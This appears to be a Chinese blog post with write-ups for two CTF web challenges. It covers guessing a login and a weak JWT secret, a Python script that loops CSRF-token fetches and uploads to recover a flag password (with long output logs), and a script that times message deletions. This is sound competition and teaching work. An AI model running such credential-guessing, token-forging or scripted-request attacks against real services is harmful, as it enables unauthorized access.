两道web

这两题感觉更偏向于misc

极客大挑战 2023

flag保卫战

管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了QAQ

image.pngimage.png
这题跑了好多次才出结果
访问是一个登录界面,先看一下源代码
image.png
image.png
猜一下账户guest,密码123456,登进去了
登录后cookie有个jwt,猜了一下密钥是123456
改admin没什么用,里面的username应该只是作为保存文件名的前缀,jwt应该没啥用
image.png
image.png
试了一下上传,过了一下文件会被清空
image.png
这里所说的密码我认为可能指两个地方的密码,一个是登录密码,一个是/flag?pass=的密码,前期花了点时间尝试作为登录密码,但是通过上面推理一下,username是没有用的,所以应该不存在用户等级之分,登录了admin也没有用(改jwt进去看了回显都是一样的)。方向就是搞/flag?pass=

提示说密码是4个文件内容相连,那就得上传4个文件,但是提示说csrf token 10 秒失效,手速要快哦 ^_^,手传是不可能了,抓一下接口
上传要调用两个接口/new-csrf-token/upload
image.png
然后开始写脚本上传,但是发现传了4个文件进去后/flag?pass=的密码还是无效,尝试了很多方法都无效,然后开始死循环跑上传了,发现了一个不一样的回显
上传后出现最多的回显是上传成功,但是零星出现了几个特别的回显如admin-016.key上传成功,猜测前面的回显是无效的,只有后面的回显才会改变密码
在跑了几遍脚本后flag终于出来了

import requests
import re
domain="https://*.node.game.sycsec.com"
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5Njk4NTg2NDU0fQ.JqCffDolI7kis3JeXvOdhbAHJ9euc162VCSiwPvUd-A"
url = f'{domain}/new-csrf-token'
headers = {'Cookie': f'jwt-token={jwt_token}'}
response = requests.get(url, headers=headers)
csrf_cookie = response.cookies.get('yak_csrf')
csrf_token = response.text.strip()
print("*"*100)

print(f"yak_csrf={csrf_cookie}")
print(f"yak-token={csrf_token}")

key=""
n=0
while(1):
    url = f'{domain}/new-csrf-token'
    headers = {'Cookie': f'jwt-token={jwt_token}'}
    response = requests.get(url, headers=headers)
    csrf_cookie = response.cookies.get('yak_csrf')
    csrf_token = response.text.strip()

    for i in range(1,5):
        
        upload_url = f'{domain}/upload'
        headers['Cookie'] = f'yak_csrf={csrf_cookie}; jwt-token={jwt_token}'

        data = {'yak-token': csrf_token}

        files = {
            'filename': (f'{i}.txt', open(f'./key/{i}.txt', 'rb'))
        }

        response = requests.post(upload_url, headers=headers, data=data,files=files)

        print("*"*100)
        print(response.status_code)
        print(response.text)
        print(len(response.text))

        if(len(response.text) !=4):
            key+=str((int(response.text[7:9]))%4+1)
            n+=1
        if n==4 or len(response.text)==31:
            break

    if n==4 or len(response.text)==31:
            break


url=domain+"/file-list"
response = requests.get(url, headers=headers)
print(response.text)

print(key)
url=domain+f'/flag?pass={key}'
response = requests.get(url, headers=headers)
print(response.text)

上传的文件是1.txt4.txt,内容是14
运行成功的数据:

****************************************************************************************************
yak_csrf=MTY5ODU4NjIyNnxJbGRVVjI1aFUyVTFOVTU1TlZsMmMxWjRUMnhxTXlzeFpIZElhR2c1VDAxT1UwTlpUMUlyTldNeWVYYzlJZ289fMO-0w_A4-C00gafNejGSOhNbRs9DJOCCQSpskpqQ6YF
yak-token=tgBz27rwZtT4w9WnANGG7CMse7wU2F4i7SbULBFpMRjvNdSynUmCCEGhLrLEOOUzznG7xHUsvS+lANpr/zXqNA==
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
admin-016.key上传成功
17
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
admin-028.key上传成功
17
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
admin-064.key上传成功
17
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
验证失败呀!
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
admin-078.key上传成功
17
验证失败呀!
[{"cname":"000.key","name":"admin-000.key","size":1,"time":"2023-10-29T13:30:26Z"},{"cname":"001.key","name":"admin-001.key","size":1,"time":"2023-10-29T13:30:27Z"},{"cname":"002.key","name":"admin-002.key","size":1,"time":"2023-10-29T13:30:27Z"},{"cname":"003.key","name":"admin-003.key","size":1,"time":"2023-10-29T13:30:27Z"},{"cname":"004.key","name":"admin-004.key","size":1,"time":"2023-10-29T13:30:27Z"},{"cname":"005.key","name":"admin-005.key","size":1,"time":"2023-10-29T13:30:28Z"},{"cname":"006.key","name":"admin-006.key","size":1,"time":"2023-10-29T13:30:28Z"},{"cname":"007.key","name":"admin-007.key","size":1,"time":"2023-10-29T13:30:28Z"},{"cname":"008.key","name":"admin-008.key","size":1,"time":"2023-10-29T13:30:28Z"},{"cname":"009.key","name":"admin-009.key","size":1,"time":"2023-10-29T13:30:29Z"},{"cname":"010.key","name":"admin-010.key","size":1,"time":"2023-10-29T13:30:29Z"},{"cname":"011.key","name":"admin-011.key","size":1,"time":"2023-10-29T13:30:29Z"},{"cname":"012.key","name":"admin-012.key","size":1,"time":"2023-10-29T13:30:29Z"},{"cname":"013.key","name":"admin-013.key","size":1,"time":"2023-10-29T13:30:30Z"},{"cname":"014.key","name":"admin-014.key","size":1,"time":"2023-10-29T13:30:30Z"},{"cname":"015.key","name":"admin-015.key","size":1,"time":"2023-10-29T13:30:30Z"},{"cname":"016.key","name":"admin-016.key","size":1,"time":"2023-10-29T13:30:30Z"},{"cname":"017.key","name":"admin-017.key","size":1,"time":"2023-10-29T13:30:30Z"},{"cname":"018.key","name":"admin-018.key","size":1,"time":"2023-10-29T13:30:31Z"},{"cname":"019.key","name":"admin-019.key","size":1,"time":"2023-10-29T13:30:31Z"},{"cname":"020.key","name":"admin-020.key","size":1,"time":"2023-10-29T13:30:32Z"},{"cname":"021.key","name":"admin-021.key","size":1,"time":"2023-10-29T13:30:32Z"},{"cname":"022.key","name":"admin-022.key","size":1,"time":"2023-10-29T13:30:32Z"},{"cname":"023.key","name":"admin-023.key","size":1,"time":"2023-10-29T13:30:32Z"},{"cname":"024.key","name":"admin-024.key","size":1,"time":"2023-10-29T13:30:33Z"},{"cname":"025.key","name":"admin-025.key","size":1,"time":"2023-10-29T13:30:33Z"},{"cname":"026.key","name":"admin-026.key","size":1,"time":"2023-10-29T13:30:33Z"},{"cname":"027.key","name":"admin-027.key","size":1,"time":"2023-10-29T13:30:33Z"},{"cname":"028.key","name":"admin-028.key","size":1,"time":"2023-10-29T13:30:34Z"},{"cname":"029.key","name":"admin-029.key","size":1,"time":"2023-10-29T13:30:34Z"},{"cname":"030.key","name":"admin-030.key","size":1,"time":"2023-10-29T13:30:34Z"},{"cname":"031.key","name":"admin-031.key","size":1,"time":"2023-10-29T13:30:34Z"},{"cname":"032.key","name":"admin-032.key","size":1,"time":"2023-10-29T13:30:34Z"},{"cname":"033.key","name":"admin-033.key","size":1,"time":"2023-10-29T13:30:35Z"},{"cname":"034.key","name":"admin-034.key","size":1,"time":"2023-10-29T13:30:35Z"},{"cname":"035.key","name":"admin-035.key","size":1,"time":"2023-10-29T13:30:35Z"},{"cname":"036.key","name":"admin-036.key","size":1,"time":"2023-10-29T13:30:35Z"},{"cname":"037.key","name":"admin-037.key","size":1,"time":"2023-10-29T13:30:36Z"},{"cname":"038.key","name":"admin-038.key","size":1,"time":"2023-10-29T13:30:36Z"},{"cname":"039.key","name":"admin-039.key","size":1,"time":"2023-10-29T13:30:36Z"},{"cname":"040.key","name":"admin-040.key","size":1,"time":"2023-10-29T13:30:36Z"},{"cname":"041.key","name":"admin-041.key","size":1,"time":"2023-10-29T13:30:37Z"},{"cname":"042.key","name":"admin-042.key","size":1,"time":"2023-10-29T13:30:37Z"},{"cname":"043.key","name":"admin-043.key","size":1,"time":"2023-10-29T13:30:37Z"},{"cname":"044.key","name":"admin-044.key","size":1,"time":"2023-10-29T13:30:37Z"},{"cname":"045.key","name":"admin-045.key","size":1,"time":"2023-10-29T13:30:38Z"},{"cname":"046.key","name":"admin-046.key","size":1,"time":"2023-10-29T13:30:38Z"},{"cname":"047.key","name":"admin-047.key","size":1,"time":"2023-10-29T13:30:38Z"},{"cname":"048.key","name":"admin-048.key","size":1,"time":"2023-10-29T13:30:38Z"},{"cname":"049.key","name":"admin-049.key","size":1,"time":"2023-10-29T13:30:38Z"},{"cname":"050.key","name":"admin-050.key","size":1,"time":"2023-10-29T13:30:39Z"},{"cname":"051.key","name":"admin-051.key","size":1,"time":"2023-10-29T13:30:39Z"},{"cname":"052.key","name":"admin-052.key","size":1,"time":"2023-10-29T13:30:39Z"},{"cname":"053.key","name":"admin-053.key","size":1,"time":"2023-10-29T13:30:39Z"},{"cname":"054.key","name":"admin-054.key","size":1,"time":"2023-10-29T13:30:40Z"},{"cname":"055.key","name":"admin-055.key","size":1,"time":"2023-10-29T13:30:40Z"},{"cname":"056.key","name":"admin-056.key","size":1,"time":"2023-10-29T13:30:40Z"},{"cname":"057.key","name":"admin-057.key","size":1,"time":"2023-10-29T13:30:40Z"},{"cname":"058.key","name":"admin-058.key","size":1,"time":"2023-10-29T13:30:41Z"},{"cname":"059.key","name":"admin-059.key","size":1,"time":"2023-10-29T13:30:41Z"},{"cname":"060.key","name":"admin-060.key","size":1,"time":"2023-10-29T13:30:41Z"},{"cname":"061.key","name":"admin-061.key","size":1,"time":"2023-10-29T13:30:41Z"},{"cname":"062.key","name":"admin-062.key","size":1,"time":"2023-10-29T13:30:41Z"},{"cname":"063.key","name":"admin-063.key","size":1,"time":"2023-10-29T13:30:42Z"},{"cname":"064.key","name":"admin-064.key","size":1,"time":"2023-10-29T13:30:42Z"},{"cname":"065.key","name":"admin-065.key","size":1,"time":"2023-10-29T13:30:42Z"},{"cname":"066.key","name":"admin-066.key","size":1,"time":"2023-10-29T13:30:42Z"},{"cname":"067.key","name":"admin-067.key","size":1,"time":"2023-10-29T13:30:43Z"},{"cname":"068.key","name":"admin-068.key","size":1,"time":"2023-10-29T13:30:43Z"},{"cname":"069.key","name":"admin-069.key","size":1,"time":"2023-10-29T13:30:43Z"},{"cname":"070.key","name":"admin-070.key","size":1,"time":"2023-10-29T13:30:43Z"},{"cname":"071.key","name":"admin-071.key","size":1,"time":"2023-10-29T13:30:44Z"},{"cname":"072.key","name":"admin-072.key","size":1,"time":"2023-10-29T13:30:44Z"},{"cname":"073.key","name":"admin-073.key","size":1,"time":"2023-10-29T13:30:44Z"},{"cname":"074.key","name":"admin-074.key","size":1,"time":"2023-10-29T13:30:44Z"},{"cname":"075.key","name":"admin-075.key","size":1,"time":"2023-10-29T13:30:44Z"},{"cname":"076.key","name":"admin-076.key","size":1,"time":"2023-10-29T13:30:45Z"},{"cname":"077.key","name":"admin-077.key","size":1,"time":"2023-10-29T13:30:45Z"},{"cname":"078.key","name":"admin-078.key","size":1,"time":"2023-10-29T13:30:45Z"}]
1113
找到 flag 啦! SYC{*-*-*-*-*}
****************************************************************************************************
yak_csrf=MTY5ODU4NzY1M3xJalJSV2tKbE9XOUxRbFJtTVhveWJIZGxhVE5sVWtVclQyTlJabFpKTkROTGJHMVViR0p0VGsxclZITTlJZ289fKbFRupyGSkjG14BV8CkU4UUEduj2TRSQNJC9ltaB1hW
yak-token=cEMgsrB8cV2ZMoSRE/QKkCAKeQBK8N5YO/A+1aPtSDqRRWHJanZ0amz97eFp2dTUb4QIB5/TU5KtlNu7wKHZAQ==
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
admin-003.key上传成功
17
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
admin-059.key上传成功
17
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
admin-071.key上传成功
17
****************************************************************************************************
200
上传成功
4
****************************************************************************************************
200
admin-073.key上传成功
17
[{"cname":"000.key","name":"admin-000.key","size":1,"time":"2023-10-29T13:54:13Z"},{"cname":"001.key","name":"admin-001.key","size":1,"time":"2023-10-29T13:54:13Z"},{"cname":"002.key","name":"admin-002.key","size":1,"time":"2023-10-29T13:54:14Z"},{"cname":"003.key","name":"admin-003.key","size":1,"time":"2023-10-29T13:54:14Z"},{"cname":"004.key","name":"admin-004.key","size":1,"time":"2023-10-29T13:54:14Z"},{"cname":"005.key","name":"admin-005.key","size":1,"time":"2023-10-29T13:54:14Z"},{"cname":"006.key","name":"admin-006.key","size":1,"time":"2023-10-29T13:54:15Z"},{"cname":"007.key","name":"admin-007.key","size":1,"time":"2023-10-29T13:54:15Z"},{"cname":"008.key","name":"admin-008.key","size":1,"time":"2023-10-29T13:54:15Z"},{"cname":"009.key","name":"admin-009.key","size":1,"time":"2023-10-29T13:54:15Z"},{"cname":"010.key","name":"admin-010.key","size":1,"time":"2023-10-29T13:54:16Z"},{"cname":"011.key","name":"admin-011.key","size":1,"time":"2023-10-29T13:54:16Z"},{"cname":"012.key","name":"admin-012.key","size":1,"time":"2023-10-29T13:54:16Z"},{"cname":"013.key","name":"admin-013.key","size":1,"time":"2023-10-29T13:54:16Z"},{"cname":"014.key","name":"admin-014.key","size":1,"time":"2023-10-29T13:54:17Z"},{"cname":"015.key","name":"admin-015.key","size":1,"time":"2023-10-29T13:54:17Z"},{"cname":"016.key","name":"admin-016.key","size":1,"time":"2023-10-29T13:54:17Z"},{"cname":"017.key","name":"admin-017.key","size":1,"time":"2023-10-29T13:54:17Z"},{"cname":"018.key","name":"admin-018.key","size":1,"time":"2023-10-29T13:54:17Z"},{"cname":"019.key","name":"admin-019.key","size":1,"time":"2023-10-29T13:54:18Z"},{"cname":"020.key","name":"admin-020.key","size":1,"time":"2023-10-29T13:54:18Z"},{"cname":"021.key","name":"admin-021.key","size":1,"time":"2023-10-29T13:54:18Z"},{"cname":"022.key","name":"admin-022.key","size":1,"time":"2023-10-29T13:54:18Z"},{"cname":"023.key","name":"admin-023.key","size":1,"time":"2023-10-29T13:54:19Z"},{"cname":"024.key","name":"admin-024.key","size":1,"time":"2023-10-29T13:54:19Z"},{"cname":"025.key","name":"admin-025.key","size":1,"time":"2023-10-29T13:54:19Z"},{"cname":"026.key","name":"admin-026.key","size":1,"time":"2023-10-29T13:54:19Z"},{"cname":"027.key","name":"admin-027.key","size":1,"time":"2023-10-29T13:54:20Z"},{"cname":"028.key","name":"admin-028.key","size":1,"time":"2023-10-29T13:54:20Z"},{"cname":"029.key","name":"admin-029.key","size":1,"time":"2023-10-29T13:54:20Z"},{"cname":"030.key","name":"admin-030.key","size":1,"time":"2023-10-29T13:54:20Z"},{"cname":"031.key","name":"admin-031.key","size":1,"time":"2023-10-29T13:54:20Z"},{"cname":"032.key","name":"admin-032.key","size":1,"time":"2023-10-29T13:54:21Z"},{"cname":"033.key","name":"admin-033.key","size":1,"time":"2023-10-29T13:54:21Z"},{"cname":"034.key","name":"admin-034.key","size":1,"time":"2023-10-29T13:54:21Z"},{"cname":"035.key","name":"admin-035.key","size":1,"time":"2023-10-29T13:54:21Z"},{"cname":"036.key","name":"admin-036.key","size":1,"time":"2023-10-29T13:54:22Z"},{"cname":"037.key","name":"admin-037.key","size":1,"time":"2023-10-29T13:54:22Z"},{"cname":"038.key","name":"admin-038.key","size":1,"time":"2023-10-29T13:54:22Z"},{"cname":"039.key","name":"admin-039.key","size":1,"time":"2023-10-29T13:54:22Z"},{"cname":"040.key","name":"admin-040.key","size":1,"time":"2023-10-29T13:54:23Z"},{"cname":"041.key","name":"admin-041.key","size":1,"time":"2023-10-29T13:54:23Z"},{"cname":"042.key","name":"admin-042.key","size":1,"time":"2023-10-29T13:54:23Z"},{"cname":"043.key","name":"admin-043.key","size":1,"time":"2023-10-29T13:54:23Z"},{"cname":"044.key","name":"admin-044.key","size":1,"time":"2023-10-29T13:54:24Z"},{"cname":"045.key","name":"admin-045.key","size":1,"time":"2023-10-29T13:54:24Z"},{"cname":"046.key","name":"admin-046.key","size":1,"time":"2023-10-29T13:54:24Z"},{"cname":"047.key","name":"admin-047.key","size":1,"time":"2023-10-29T13:54:24Z"},{"cname":"048.key","name":"admin-048.key","size":1,"time":"2023-10-29T13:54:24Z"},{"cname":"049.key","name":"admin-049.key","size":1,"time":"2023-10-29T13:54:25Z"},{"cname":"050.key","name":"admin-050.key","size":1,"time":"2023-10-29T13:54:25Z"},{"cname":"051.key","name":"admin-051.key","size":1,"time":"2023-10-29T13:54:25Z"},{"cname":"052.key","name":"admin-052.key","size":1,"time":"2023-10-29T13:54:25Z"},{"cname":"053.key","name":"admin-053.key","size":1,"time":"2023-10-29T13:54:25Z"},{"cname":"054.key","name":"admin-054.key","size":1,"time":"2023-10-29T13:54:26Z"},{"cname":"055.key","name":"admin-055.key","size":1,"time":"2023-10-29T13:54:26Z"},{"cname":"056.key","name":"admin-056.key","size":1,"time":"2023-10-29T13:54:26Z"},{"cname":"057.key","name":"admin-057.key","size":1,"time":"2023-10-29T13:54:26Z"},{"cname":"058.key","name":"admin-058.key","size":1,"time":"2023-10-29T13:54:27Z"},{"cname":"059.key","name":"admin-059.key","size":1,"time":"2023-10-29T13:54:27Z"},{"cname":"060.key","name":"admin-060.key","size":1,"time":"2023-10-29T13:54:27Z"},{"cname":"061.key","name":"admin-061.key","size":1,"time":"2023-10-29T13:54:28Z"},{"cname":"062.key","name":"admin-062.key","size":1,"time":"2023-10-29T13:54:28Z"},{"cname":"063.key","name":"admin-063.key","size":1,"time":"2023-10-29T13:54:28Z"},{"cname":"064.key","name":"admin-064.key","size":1,"time":"2023-10-29T13:54:28Z"},{"cname":"065.key","name":"admin-065.key","size":1,"time":"2023-10-29T13:54:28Z"},{"cname":"066.key","name":"admin-066.key","size":1,"time":"2023-10-29T13:54:29Z"},{"cname":"067.key","name":"admin-067.key","size":1,"time":"2023-10-29T13:54:29Z"},{"cname":"068.key","name":"admin-068.key","size":1,"time":"2023-10-29T13:54:29Z"},{"cname":"069.key","name":"admin-069.key","size":1,"time":"2023-10-29T13:54:29Z"},{"cname":"070.key","name":"admin-070.key","size":1,"time":"2023-10-29T13:54:29Z"},{"cname":"071.key","name":"admin-071.key","size":1,"time":"2023-10-29T13:54:30Z"},{"cname":"072.key","name":"admin-072.key","size":1,"time":"2023-10-29T13:54:30Z"},{"cname":"073.key","name":"admin-073.key","size":1,"time":"2023-10-29T13:54:30Z"}]
4442
找到 flag 啦! SYC{*-*-*-*-*}

因为一段时间会清除文件,而且成功上传好像是随机的,所以以要多跑几次才行

Hackergame 2023

组委会模拟器

image.pngimage.png
这题主要是正则匹配,还有时间控制
注意这个delay,意思是在server_starttime后多少秒才能撤回,如果提前撤回会提示时空穿越
image.png

import requests
import re
import json
import time
from datetime import datetime

token = "*"
url = "http://202.38.93.111:10021/api/getMessages"
cookies = {'session': token}
response = requests.post(url, cookies=cookies)
json_data = response.json()
old_time = int(datetime.now().timestamp() * 1000)
for i in range(0, 1000):
    print(i)
    # 当前毫秒时间戳
    milliseconds_timestamp = int(datetime.now().timestamp() * 1000)
    differ = (milliseconds_timestamp-old_time)/1000
    # print(differ)
    while(differ < json_data['messages'][i]['delay']):
        time.sleep(0.01)
        milliseconds_timestamp = int(datetime.now().timestamp() * 1000)
        differ = (milliseconds_timestamp-old_time)/1000
    text = json_data['messages'][i]['text']
    pattern = r'hack\[[a-z]+\]'
    matches = re.findall(pattern, text)

    if matches:
        url = "http://202.38.93.111:10021/api/deleteMessage"
        data = {"id": i}
        json_datax = json.dumps(data)
        headers = {
            'Cookie': f'session={token}',
            'Content-Type': 'application/json'
        }

        response = requests.post(url, headers=headers, data=json_datax)
        print(response.text)


url = "http://202.38.93.111:10021/api/getflag"
response = requests.post(url, cookies=cookies)
print(response.text)

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值